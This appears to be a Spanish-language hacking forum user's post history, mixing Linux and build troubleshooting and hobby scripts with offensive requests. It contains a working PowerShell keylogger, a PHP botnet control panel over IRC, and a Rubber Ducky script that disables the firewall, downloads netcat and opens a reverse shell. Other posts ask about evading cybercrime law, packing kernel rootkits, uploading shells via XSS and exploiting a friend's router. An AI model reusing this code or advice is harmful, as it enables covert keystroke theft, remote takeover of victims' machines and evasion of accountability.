/usr/src/linux-headers-4.14.0-parrot2-common/Makefile:1520: recipe for target '_module_/tmp/modconfig-0hEIO0/vmmon-only' failed
make[3]: *** [_module_/tmp/modconfig-0hEIO0/vmmon-only] Error 2
Makefile:146: recipe for target 'sub-make' failed
make[2]: *** [sub-make] Error 2
Makefile:8: recipe for target 'all' failed
make[1]: *** [all] Error 2
make[1]: Leaving directory '/usr/src/linux-headers-4.14.0-parrot2-amd64'
Makefile:110: recipe for target 'vmmon.ko' failed
make: *** [vmmon.ko] Error 2
make: Leaving directory '/tmp/modconfig-0hEIO0/vmmon-only'
make: Entering directory '/tmp/modconfig-0hEIO0/vmnet-only'
Using kernel build system.
/usr/bin/make -C /lib/modules/4.14.0-parrot2-amd64/build/include/.. SUBDIRS=$PWD SRCROOT=$PWD/. \
  MODULEBUILDDIR= modules
make[1]: Entering directory '/usr/src/linux-headers-4.14.0-parrot2-amd64'
  CC [M]  /tmp/modconfig-0hEIO0/vmnet-only/driver.o
  CC [M]  /tmp/modconfig-0hEIO0/vmnet-only/hub.o
  CC [M]  /tmp/modconfig-0hEIO0/vmnet-only/userif.o
  CC [M]  /tmp/modconfig-0hEIO0/vmnet-only/netif.o
In file included from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pci.h:37:0,
                 from /tmp/modconfig-0hEIO0/vmnet-only/compat_netdevice.h:27,
                 from /tmp/modconfig-0hEIO0/vmnet-only/netif.c:43:
/usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pci_ids.h:2261:0: warning: "PCI_VENDOR_ID_VMWARE" redefined
#define PCI_VENDOR_ID_VMWARE  0x15ad

In file included from /tmp/modconfig-0hEIO0/vmnet-only/net.h:38:0,
                 from /tmp/modconfig-0hEIO0/vmnet-only/vnetInt.h:26,
                 from /tmp/modconfig-0hEIO0/vmnet-only/netif.c:42:
/tmp/modconfig-0hEIO0/vmnet-only/vm_device_version.h:56:0: note: this is the location of the previous definition
#define PCI_VENDOR_ID_VMWARE                    0x15AD

In file included from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pci.h:37:0,
                 from /tmp/modconfig-0hEIO0/vmnet-only/compat_netdevice.h:27,
                 from /tmp/modconfig-0hEIO0/vmnet-only/netif.c:43:
/usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pci_ids.h:2262:0: warning: "PCI_DEVICE_ID_VMWARE_VMXNET3" redefined
#define PCI_DEVICE_ID_VMWARE_VMXNET3 0x07b0

In file included from /tmp/modconfig-0hEIO0/vmnet-only/net.h:38:0,
                 from /tmp/modconfig-0hEIO0/vmnet-only/vnetInt.h:26,
                 from /tmp/modconfig-0hEIO0/vmnet-only/netif.c:42:
/tmp/modconfig-0hEIO0/vmnet-only/vm_device_version.h:73:0: note: this is the location of the previous definition
#define PCI_DEVICE_ID_VMWARE_VMXNET3            0x07B0

  CC [M]  /tmp/modconfig-0hEIO0/vmnet-only/bridge.o
  CC [M]  /tmp/modconfig-0hEIO0/vmnet-only/procfs.o
  CC [M]  /tmp/modconfig-0hEIO0/vmnet-only/smac_compat.o
  CC [M]  /tmp/modconfig-0hEIO0/vmnet-only/smac.o
  CC [M]  /tmp/modconfig-0hEIO0/vmnet-only/vnetEvent.o
In file included from /tmp/modconfig-0hEIO0/vmnet-only/net.h:38:0,
                 from /tmp/modconfig-0hEIO0/vmnet-only/vnetInt.h:26,
                 from /tmp/modconfig-0hEIO0/vmnet-only/bridge.c:53:
/tmp/modconfig-0hEIO0/vmnet-only/vm_device_version.h:56:0: warning: "PCI_VENDOR_ID_VMWARE" redefined
#define PCI_VENDOR_ID_VMWARE                    0x15AD

In file included from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pci.h:37:0,
                 from /tmp/modconfig-0hEIO0/vmnet-only/compat_netdevice.h:27,
                 from /tmp/modconfig-0hEIO0/vmnet-only/bridge.c:52:
/usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pci_ids.h:2261:0: note: this is the location of the previous definition
#define PCI_VENDOR_ID_VMWARE  0x15ad

In file included from /tmp/modconfig-0hEIO0/vmnet-only/net.h:38:0,
                 from /tmp/modconfig-0hEIO0/vmnet-only/vnetInt.h:26,
                 from /tmp/modconfig-0hEIO0/vmnet-only/bridge.c:53:
/tmp/modconfig-0hEIO0/vmnet-only/vm_device_version.h:73:0: warning: "PCI_DEVICE_ID_VMWARE_VMXNET3" redefined
#define PCI_DEVICE_ID_VMWARE_VMXNET3            0x07B0

In file included from /usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pci.h:37:0,
                 from /tmp/modconfig-0hEIO0/vmnet-only/compat_netdevice.h:27,
                 from /tmp/modconfig-0hEIO0/vmnet-only/bridge.c:52:
/usr/src/linux-headers-4.14.0-parrot2-common/include/linux/pci_ids.h:2262:0: note: this is the location of the previous definition
#define PCI_DEVICE_ID_VMWARE_VMXNET3 0x07b0

  CC [M]  /tmp/modconfig-0hEIO0/vmnet-only/vnetUserListener.o
  LD [M]  /tmp/modconfig-0hEIO0/vmnet-only/vmnet.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /tmp/modconfig-0hEIO0/vmnet-only/vmnet.mod.o
  LD [M]  /tmp/modconfig-0hEIO0/vmnet-only/vmnet.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.14.0-parrot2-amd64'
/usr/bin/make -C $PWD SRCROOT=$PWD/. \
  MODULEBUILDDIR= postbuild
make[1]: Entering directory '/tmp/modconfig-0hEIO0/vmnet-only'
make[1]: 'postbuild' is up to date.
make[1]: Leaving directory '/tmp/modconfig-0hEIO0/vmnet-only'
cp -f vmnet.ko ./../vmnet.o
make: Leaving directory '/tmp/modconfig-0hEIO0/vmnet-only'
Unable to install all modules.  See log for details.


tengo la bios sin el uefi y no se que hacer, ya he buscado la manera para solucionarlo pero no lo consigo, ayudaaa :'(
#3
Hola,me gustaria saber como puedo comprar un servidor en un pais sin legislatura en delitos informaticos, principalmente porque quiero hacer pruebas y no quiero ir a la carcel, y mi router no permite tener una ip publica, asi que la solucion mas asequible es a mi parecer es comprarlo en un pais sin legislatura. Que se pueda colgar servicios como nodejs¿Alguna idea? ::)
#4
hola,estoy aprendiendo ha hacer rootkits a nivel de kernel,y me preguntaba si habria alguna manera de comprimir un driver en un .exe para que no abulte ni cante tanto ::) ::)

gracias
#5
Hola,me gustaria empezar en la informatica forense,ya que es un tema que me apasiona
pero desgraciadamente no se por donde empezar

cualquier ayuda o sugerencia sera agraciada
#6
hola,quiero empezar en el analisis de malware,pero no se como empezar,me podeis ayudar por favor   ;) ;)
#7
Python / Generador de palabras
Julio 28, 2017, 10:56:58 AM
Hola,he hecho un script en python que genera las diferentes formas de una palabra,esto podria servir para generar diccionarios u otras cosas que se necesite muchas palabras xD
Código: python
import sys
def get_max_num(word):
maxi = 1
for x in range(len(word)):
maxi *= len(word)

return maxi

dic = sys.argv[1]
print "El numero de palabras que se generaran sera: "+str(get_max_num(dic))+"\nQuires proseguir?[Y/N]"
resp = raw_input(">")
if resp != "Y":
sys.exit(0)

lista = [0] * int(len(dic))
palabra = ""
a = 0
while True:
palabra = ""
for w in range(len(lista)):
if lista[w] == len(dic):
lista[w] = 0
try:
lista[w+1]+=1
except:
pass
for x in lista:
palabra += dic[x]

lista[0]+=1

print palabra
a+=1
if a == get_max_num(dic):
break

y funciona asi:
Código: php
$python script.py hola

da este resultado:
Código: php
El numero de palabras que se generaran sera: 256
Quires proseguir?[Y/N]
>Y
hhhh
ohhh
lhhh
ahhh
hohh
oohh
lohh
aohh
hlhh
olhh
llhh
alhh
hahh
oahh
lahh
aahh
hhoh
ohoh
lhoh
ahoh
hooh
oooh
looh
aooh
hloh
oloh
lloh
aloh
haoh
oaoh
laoh
aaoh
hhlh
ohlh
lhlh
ahlh
holh
oolh
lolh
aolh
hllh
ollh
lllh
allh
halh
oalh
lalh
aalh
hhah
ohah
lhah
ahah
hoah
ooah
loah
aoah
hlah
olah
llah
alah
haah
oaah
laah
aaah
hhho
ohho
lhho
ahho
hoho
ooho
loho
aoho
hlho
olho
llho
alho
haho
oaho
laho
aaho
hhoo
ohoo
lhoo
ahoo
hooo
oooo
looo
aooo
hloo
oloo
lloo
aloo
haoo
oaoo
laoo
aaoo
hhlo
ohlo
lhlo
ahlo
holo
oolo
lolo
aolo
hllo
ollo
lllo
allo
halo
oalo
lalo
aalo
hhao
ohao
lhao
ahao
hoao
ooao
loao
aoao
hlao
olao
llao
alao
haao
oaao
laao
aaao
hhhl
ohhl
lhhl
ahhl
hohl
oohl
lohl
aohl
hlhl
olhl
llhl
alhl
hahl
oahl
lahl
aahl
hhol
ohol
lhol
ahol
hool
oool
lool
aool
hlol
olol
llol
alol
haol
oaol
laol
aaol
hhll
ohll
lhll
ahll
holl
ooll
loll
aoll
hlll
olll
llll
alll
hall
oall
lall
aall
hhal
ohal
lhal
ahal
hoal
ooal
loal
aoal
hlal
olal
llal
alal
haal
oaal
laal
aaal
hhha
ohha
lhha
ahha
hoha
ooha
loha
aoha
hlha
olha
llha
alha
haha
oaha
laha
aaha
hhoa
ohoa
lhoa
ahoa
hooa
oooa
looa
aooa
hloa
oloa
lloa
aloa
haoa
oaoa
laoa
aaoa
hhla
ohla
lhla
ahla
hola
oola
lola
aola
hlla
olla
llla
alla
hala
oala
lala
aala
hhaa
ohaa
lhaa
ahaa
hoaa
ooaa
loaa
aoaa
hlaa
olaa
llaa
alaa
haaa
oaaa
laaa
aaaa
#8
Dudas y pedidos generales / Imposible instalar wine
Julio 04, 2017, 08:16:56 AM
Hola,tengo un problema con mi KDE neon y es que no puedo instalar wine,demostracion
Código: php

Leyendo lista de paquetes...
Creando árbol de dependencias...
Leyendo la información de estado...
No se pudieron instalar algunos paquetes. Esto puede significar que
usted pidió una situación imposible o, si está usando la distribución
inestable, que algunos paquetes necesarios aún no se han creado o se
han sacado de «Incoming».
La siguiente información puede ayudar a resolver la situación:

Los siguientes paquetes tienen dependencias incumplidas:
build-essential : Depende: gcc (>= 4:5.2) pero no va a instalarse
                   Depende: g++ (>= 4:5.2) pero no va a instalarse
wine : Depende: wine1.6 pero no va a instalarse


No se que hacer,ya he buscado en google y en foros pero no encuentro la solucion al problema,HELP ME!!!! :'( :'( :'( :'(
#9
Hola, el otro dia estaba buscando vulnerabilidades con nessus en el router de mi amigo(porque me lo pidio xD) y me encontre esto:
tenia un total de 4 low,6 medium,1 high y 1 critical

la critical es esta:


y la high es esta:



y no se como explotarlas para demostrale lo que se podria hacer con esas vulnerabilidades,ya he buscado por montones de sitios y no encuentro ningun exploit,ayuda!! :'(
#10
Hola,como se podría subir archivos con javascript, para subir shells con un xss
#11
Hola, como puedo hacer que no me puedan detectar por nmap?,osea que no puedan saber que estoy conectado a la red?
#12
Hola, me preguntaba como podria separar un string cada 16 caracteres,me explico:
si tengo:
Código: python
sample = "12345678901234567"

que tiene 17 digitos,que me quede en:
Código: python
[''123456890123456","7"]

como podria hacerlo?
#13
Hola,tenia esta duda y no sabria como hacerlo,sale en un episodio de mr robot,y es como puedo cambiar un texto sin tener que volverlo a printear,
que si tengo
Código: php
            1 de 10000


que lo pueda cambiar a:
Código: php
            2 de 10000



Sin tener que volver a printearlo.
#14
hola tenia una duda, la cual es que estoy haciendo un keylogger(en powershell) y no se como esperar tiempo para que lo suba por UploadString()
os dejo el codigo del keylogger:
Código: php
function Start-KeyLogger($Path="$env:temp\keylogger.txt") 
{
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
$API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
$null = New-Item -Path $Path -ItemType File -Force
try
{
while ($true) {
Start-Sleep -Milliseconds 40

for ($ascii = 9; $ascii -le 254; $ascii++) {

$state = $API::GetAsyncKeyState($ascii)

if ($state -eq -32767) {
$null = [console]::CapsLock

$virtualKey = $API::MapVirtualKey($ascii, 3)

$kbstate = New-Object Byte[] 256
$checkkbstate = $API::GetKeyboardState($kbstate)

$mychar = New-Object -TypeName System.Text.StringBuilder
$success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
if ($success)
{
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
{
}
}
Start-KeyLogger


ayuda!! :'( :'(
#15
hola,como puedo cambiar la politica de ejecucion de scripts en powershell con un script .bat ??

gracias por su atencion ;)
#16
Hola, tenia una duda, la cual es que tengo xss en los comentarios de mi wordpress y no se como solucionarlo
#17
Hola tengo un problema y es que al intentar bootear mi usb en mi pcno bootea,el usb contiene parrot os security (aunque tampoco funciona con kali linux)
El pc que tengo es un aspire es 15 y no tiene lector de DVD
#18
Hola,el otro dia estaba usando wifi punpkin cuando me dijo qye necesitaba 2 tarjetas wifi,estuve buscando y encontre esta: Realtek RTL8187L
Esta es una tarjeta wifi?
#19
Alguien sabe donde descargar el troyano de flu-project?
#20
Dudas y pedidos generales / [SOLUCIONADO] Error getgui
Diciembre 18, 2016, 11:22:58 AM
Hola,tengo este error en getgui cuando hago un getgui me pasa esto:
Código: php
meterpreter > run getgui -u pwned -p lel -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez [email protected]
[*] Enabling Remote Desktop
[*] RDP is already enabled
[*] Setting Terminal Services service startup mode
[*] Terminal Services service is already set to auto
[*] Opening port in local firewall if necessary
[-] Unexpected windows error 1332
[-] Error in script: NoMethodError undefined method `[]' for nil:NilClass

Ayudaaa
#21
Hola tengo un error:
cuando hago:
Código: php
rdesktop 192.168.0.155

me sale este error:
Código: php
Autoselected keyboard map es
ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Connection established using SSL.

y no me da sesion,que puedo hacer,tambien he probado ha poner usuario y contraseñas con -u -p pero nada
ayudaaaaa:'( :'(
#22
Dudas y pedidos generales / [SOLUCIONADO] Error QRLJacking
Diciembre 09, 2016, 01:47:49 PM
hola,me instale qrljacking
Código: php
git clone https://github.com/OWASP/QRLJacking.git
y tengo un error:
Código: php
[*] Starting victim session on http://localhost:1337
Error:
Can not call any WebBrowsers
  Check your Installed Browsers!

Uso ubuntu,como puedo solucionarlo
#23
Hola,alguien sabria decirme como conectarme a un chat Irc con powershell,en su defecto en C#,gracias ;) ;)
#24
Dudas y pedidos generales / Problema script php
Diciembre 05, 2016, 12:21:49 PM
Hola,estoy haciendo un panel web para una botnet,pero tengo un problema,como puedo desconectar el script del chat irc,porque si no se queda cargando,este es el codigo:
Código: php
<?php
set_time_limit(0);

$nick   = 'BotPHP';
$canal  = '##adios';
$isLogged = false;

$conen = fsockopen('irc.freenode.net', 8000);

$buffer = '';
function IRC($nick,$canal,$isLogged,$conen,$buffer)
{
while (!feof($conen)){
        $buffer = trim((string)fgets($conen, 2048));

        if((!$isLogged) and (substr($buffer, 0, 1) === ':')){
                $isLogged = true;
                fwrite($conen, 'USER '.$nick.' '.$nick.' '.$nick.' '.$nick."\n");
                fwrite($conen, 'NICK '.$nick."\n");
                fwrite($conen, 'JOIN '.$canal."\n");

                fwrite($conen, 'PRIVMSG '.$canal.' :Dolphin,estoy vivoo'."\n");
fwrite($conen, 'PRIVMSG '.$canal.':/kick BotPHP'."\n");

        }
        unset($f);
       
        // echo $buffer."\n";
       
        /* PING */
        if(strtolower(substr($buffer, 0, 6)) === 'PING :'){
                $host = explode(':', $buffer);
                $host = trim($host[1]);
                fwrite($conen, 'PONG :'.$host."\n");
                unset($host);
        }

}
fclose($conen);

}
function IRC2($nick,$canal,$isLogged,$conen,$buffer)
{
while (!feof($conen)){
        $buffer = trim((string)fgets($conen, 2048));

        if((!$isLogged) and (substr($buffer, 0, 1) === ':')){
                $isLogged = true;
                fwrite($conen, 'USER '.$nick.' '.$nick.' '.$nick.' '.$nick."\n");
                fwrite($conen, 'NICK '.$nick."\n");
                fwrite($conen, 'JOIN '.$canal."\n");

                fwrite($conen, 'PRIVMSG '.$canal.' :Dolphin,esto funciona'."\n");
fwrite($conen, 'PRIVMSG '.$canal.' :/kick BotPHP'."\n");

        }
        unset($f);
       
        // echo $buffer."\n";
       
        /* PING */
        if(strtolower(substr($buffer, 0, 6)) === 'PING :'){
                $host = explode(':', $buffer);
                $host = trim($host[1]);
                fwrite($conen, 'PONG :'.$host."\n");
                unset($host);
        }

}
fclose($conen);

}
if ($_REQUEST[name] == "dolphin"){
IRC($nick,$canal,$isLogged,$conen,$buffer);
}elseif ($_REQUEST[name] == "lil") {
IRC2($nick,$canal,$isLogged,$conen,$buffer);
}

?>

y el html/css por si os hiciese falta:
Código: html5
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<style type="text/css">
*{
background: #0D0E13;

}
p{
                        color: #C11212;

}
form{
width: 200px;
margin: 0 auto;
}
value{
color: red;
}
</style>
</head>
<body>
<form action="index.php">
  <p>Name: <input type="text" id="name" name="name" /></p>
<p><input type="submit" value="Enviar" /></p>
</form>
<body>
<html>

ayudadaa :( :(
#25
Al descargar este pack
Código: php
https://underc0de.org/foro/hacking/cursos-profesionales-de-hacking-etico-6-89-gb/

Me pone contraseña erronea aunque sea
Código: php
www.bacterias.mx

pero yo solamente quiero un video que esta dentro del pack,es uno de mas o menos 1 hora,comprometiendo un windows 7 protegido con la contraseña,alguien puede pasarmelo por favor ;) ;)
#26
Dudas y pedidos generales / Problema script rubber ducky
Noviembre 25, 2016, 02:52:35 PM
Hola,tengo un problema con un script de rubber ducky,este es el script:
Código: text
DELAY 10000
GUI r
DELAY 200
STRING cmd
ENTER
DELAY 600
STRING cd %USERPROFILE%
ENTER
DELAY 100
STRING netsh firewall set opmode disable
ENTER
DELAY 2000
STRING echo open [IP] [PORT] > ftp.txt
ENTER
DELAY 100
STRING echo [USERNAME]>> ftp.txt
ENTER
DELAY 100
STRING echo [PASSWORD]>> ftp.txt
ENTER
DELAY 100
STRING echo bin >> ftp.txt
ENTER
DELAY 100
STRING echo get nc.exe >> ftp.txt
ENTER
DELAY 100
STRING echo bye >> ftp.txt
ENTER
DELAY 100
STRING ftp -s:ftp.txt
ENTER
STRING del ftp.txt & exit
ENTER
DELAY 2000
GUI r
DELAY 200
STRING nc.exe [LISTENER IP] [LISTENER PORT] -e cmd.exe -d
ENTER
DELAY 2000
GUI r
DELAY 200
STRING cmd
ENTER
DELAY 600
STRING exit
ENTER

se supone que lo que hace es descargar netcat y ejecutar una reverseshell,pero no tengo claro  que poner en la linea 13 el [IP] y el [PORT](esta claro que es una ip y un puerto,pero cual)y en la linea 16 el [USERNAME] y en la 19 el [PASSWORD]
#27
Hola,tengo un problema,tengo ubuntu 16.04 y cada vez que instento instalar algo con apt-get me sale esto(intentando instalar wine)
Código: php
┌─[dolphin]@[NoPe]:~
└──> $ sudo apt-get install wine
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias       
Leyendo la información de estado... Hecho
No se pudieron instalar algunos paquetes. Esto puede significar que
usted pidió una situación imposible o, si está usando la distribución
inestable, que algunos paquetes necesarios aún no se han creado o se
han sacado de «Incoming».
La siguiente información puede ayudar a resolver la situación:

Los siguientes paquetes tienen dependencias incumplidas:
wine : Depende: wine1.6 pero no va a instalarse
E: No se pudieron corregir los problemas, usted ha retenido paquetes rotos.

y ya he probado lo de todo como
Código: php
sudo dpkg --configure -a
sudo apt-get -f install

ayudaaa
#28
Hola,estaba haciendo un script en ruby y me sale el siguiente error
Código: php
hola.rb:53: syntax error, unexpected keyword_elsif, expecting ')'
hola.rb:53: syntax error, unexpected keyword_elsif, expecting ')'
elsif respuesta2 == 2
     ^
hola.rb:62: syntax error, unexpected keyword_end, expecting ')'
hola.rb:134: syntax error, unexpected keyword_elsif, expecting ')'
elsif respuesta == 3
     ^
hola.rb:431: syntax error, unexpected keyword_end, expecting ')'


y ya e revisado el codigo y esta bien por lo que he visto,aqui el script
Código: ruby
require 'colorize'
Math::constants.grep /pi/i

def lcm(x, y, z, a ,b, c, d, e, f, g)
  if x > y and x > z and x > a and x > b and x > c and x > d and x > e and x > f and x > g
    mayor = x
  elsif y > x and y > z and y > a and y > b and y > c and y > d and y > e and y > f and y > g
    mayor = y
  elsif z > x and z > y and z > a and z > b and z > c and z > d and z > e and z > f and z > g
    mayor = z
  elsif a > x and a > y and a > z and a > b and a > c and a > d and a > e and a > f and a > g
    mayor = a
  elsif b > x and b > y and b > a and b > z and b > c and b > d and b > e and b > f and b > g
    mayor = b
  elsif c > x and c > y and c > a and c > b and c > z and c > d and c > e and c > f and c > g
    mayor = c
  elsif d > x and d > y and d > a and d > b and d > z and d > c and d > e and d > f and d > g
    mayor = d
  elsif e > x and e > y and e > a and e > b and e > z and e > d and e > c and e > f and e > g
    mayor = e
  elsif f > x and f > y and f > a and f > b and f > z and f > d and f > e and f > c and f > g
    mayor = f
  elsif g > x and g > y and g > a and g > b and g > z and g > d and g > e and g > c and g > c
    mayor = g
  end
  while true
    if mayor % x == 0 and mayor % y == 0 and mayor % z == 0 and mayor % a == 0 and mayor % b == 0 and mayor % c == 0 and mayor % d == 0 and mayor % e == 0 and mayor % f == 0 and mayor % g == 0
      lcm = mayor
      break
    end   
    mayor += 1
  end
  return lcm
end

puts "Que quieres hacer\n1:teorema de pitagoras\n2:area\n3:fracciones".red
print ">".blue
respuesta = gets.chomp
if respuesta == 1
puts "\nQue quieres hacer\n1=calcular hipotenusa\n2=cacular cateto".red
print ">".blue
respuesta2 = gets.chomp
if respuesta2 == 1
puts "Dame el primer cateto".red
print ">".blue
cateto1 = gets.chomp
puts "Dame el segundo cateto".red
print ">".blue
cateto2 = gets.chomp
resultado =  0,5**((cateto1 ** 2)+(cateto2 ** 2)
puts "#{resultado}".blue

elsif respuesta2 == 2
puts "Dame la hipotenusa".red
print ">".blue
hipotenusa = gets.chomp
puts "Dame el cateto".red
print ">".blue
cateto = gets.chomp
resultado =  0,5**((hipotenusa ** 2)-(cateto ** 2))
puts "#{resultado}".blue
end
elsif respuesta == 2
puts "Que quieres calcular\n1=cuadrado\n2=triangulo\n3=circulo\n4=rectangulo\n5=rombo\n6=romboide\n7=trapecios\n8=poligono regular".red
print ">".blue
respuesta2 = gets.chomp
if respuesta2 == 1
puts "Damelo".red
print ">".blue
a = gets.chomp
respuesta = a ** 2
puts respuesta
elsif respuesta2 == 2
puts "Dame la base".red
print ">".blue
base = gets.chomp
puts "Dame la altura".red
print ">".blue
altura = gets.chomp
resultado = (base*altura)/2
puts "#{resultado}".blue
elsif respuesta2 == 3
puts "Dame el radio".red
print ">".blue
radio = gets.chomp
resultado = 2*Math::PI*radio ** 2
puts "#{resultado}".blue
elsif respuesta2 == 4
puts "Dame el primer lado".red
print ">".blue
lado1 = gets.chomp
puts "Dame el segundo lado".red
print ">".blue
lado2 = gets.chomp
resultado = lado1 * lado2
puts "#{resultado}".blue
elsif respuesta2 == 5
puts "Damelo".red
print ">",blue
a = gets.chomp
puts "Otra vez".red
print ">",blue
b = gets.chomp
resultado = (a*b)/2
puts "#{resultado}".blue
elsif respuesta2 == 6
puts "Dame la altura".red
print ">".blue
altura = gets.chomp
puts "Dame la base".red
print ">".blue
base = gets.chomp
resultado = base*altura
puts "#{resultado}".blue
elsif respuesta2 == 7
puts "Dame la base".red
print ">".blue
base = gets.chomp
puts "Dame la parte de arriba".red
print ">".blue
parte_arriba = gets.chomp
resultado = (base + parte_arriba)/2
puts "#{resultado}".blue
elsif respuesta2 == 8
puts "Damelo".red
print ">",blue
a = gets.chomp
puts "Dame la altura".red
print ">".blue
altura = gets.chomp
resultado = (a*altura)/2
puts "#{resultado}".blue
end
elsif respuesta == 3
a = 1
b = 1
c = 1
d = 1
e = 1
f = 1
g = 1
h = 1
i = 1
j = 1


puts "Que quieres hacer\n1:sumar\n2:restar\n3:multiplicar\n4:dividir".red
print ">".blue
eleccion = gets.chomp
if eleccion == "3"
puts "dame lo primero".red
print ">".blue
af = gets.chomp.to_i
puts "-".red
print ">".blue
bf = gets.chomp.to_i
puts "\n"
puts "dame lo segundo".red
print ">".blue
cf = gets.chomp.to_i
puts "-".red
print ">".blue
df = gets.chomp.to_i
ac = af*cf
bd = bf*fd
elsif eleccion == "1"
puts "tienen el mismo denominador\n1:Si\n2:No".red
print ">".blue
eleccion2 = gets.chomp
if eleccion2 == "1"
puts "Eres tonto ponte a estudiar mates ;)".yellow
else
puts "cuantas son(sin contar la primera)".red
print ">".blue
el = gets.chomp.to_i
lista = []
lista2 = []
lista3 = []
lista4 = []
la = 0

while not la == el
puts "dame lo primero".red
print ">".blue
a = gets.chomp.to_i
lista[la] = a
puts "-".red
print ">".blue
b = gets.chomp.to_i
lista2[la] = b
puts "\n"
puts "dame lo segundo".red
print ">".blue
c = gets.chomp.to_i
lista3[la] = c
puts "-".red
print ">".blue
d = gets.chomp.to_i
lista4[la] = d
la = la + 1

end
if el == 1
ac = (lista[0]*lista4[0])+(lista2[0]*lista3[0])
bd = lista2[0]*lista4[0]
elsif el == 2
bd = lcm(lista2[0], lista4[0], lista2[1], a, b, c, d, f, g, h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ac = ha+he+hi
elsif el == 3
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], b, c, d, f, g, h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
ac = ha+he+hi+ho
elsif el == 4
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], c, d, f, g, h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
ac = ha+he+hi+ho+hu
elsif el == 5
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], lista4[2], d, f, g, h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
hau = (bd/lista4[2])*lista3[2]
ac = ha+he+hi+ho+hu+hau
elsif el == 6
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], lista4[2], lista2[3], f, g, h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
hau = (bd/lista4[2])*lista3[2]
hae = (bd/lista2[3])*lista[3]
ac = ha+he+hi+ho+hu+hau+hae
elsif el == 7
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], lista4[2], lista2[3], lista4[3], g, h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
hau = (bd/lista4[2])*lista3[2]
hae = (bd/lista2[3])*lista[3]
hai = (bd/lista4[3])*lista[3]
ac = ha+he+hi+ho+hu+hau+hae+hai
elsif el == 8
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], lista4[2], lista2[3], lista4[3], lista2[4], h)
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
hau = (bd/lista4[2])*lista3[2]
hae = (bd/lista2[3])*lista[3]
hai = (bd/lista4[3])*lista3[3]
hao = (bd/lista2[4])*lista[4]
ac = ha+he+hi+ho+hu+hau+hae+hai+hao
elsif el == 9
bd = lcm(lista2[0], lista4[0], lista2[1], lista4[1], lista2[2], lista4[2], lista2[3], lista4[3], lista2[4], lista4[4])
ha = (bd/lista2[0])*lista[0]
he = (bd/lista4[0])*lista3[0]
hi = (bd/lista2[1])*lista[1]
ho = (bd/lista4[1])*lista3[1]
hu = (bd/lista2[2])*lista[2]
hau = (bd/lista4[2])*lista3[2]
hae = (bd/lista2[3])*lista[3]
hai = (bd/lista4[3])*lista3[3]
hao = (bd/lista2[4])*lista[4]
hau = (bd/lista4[4])*lista3[4]
ac = ha+he+hi+ho+hu+hau+hae+hai+hao+hau

end
end
elsif eleccion == 2
elsif eleccion == "1"
puts "tienen el mismo denominador\n1:Si\n2:No".red
print ">".blue
eleccion2 = gets.chomp
if eleccion2 == "1"
puts "Eres tonto ponte a estudiar mates ;)".yellow
else
puts "cuantas son(sin contar la primera)".red
print ">".blue
el = gets.chomp.to_i
lista = []
lista2 = []
lista3 = []
lista4 = []
la = 0

while not la == el
puts "dame lo primero".red
print ">".blue
a = gets.chomp.to_i
lista[la] = a
puts "-".red
print ">".blue
b = gets.chomp.to_i
lista2[la] = b
puts "\n"
puts "dame lo segundo".red
print ">".blue
c = gets.chomp.to_i
lista3[la] = c
puts "-".red
print ">".blue
d = gets.chomp.to_i
lista4[la] = d
la = la + 1

end
if el == 1
ac = (lista[0]*lista4[0])-(lista2[0]*lista3[0])
bd = lista2[0]*lista4[0]
elsif el == 2
bd = lcm(lista2[0], lista4[0], lista2[1], a, b, c, d, f, g, h)
ha = (bd/lista2[0])*lista[0]
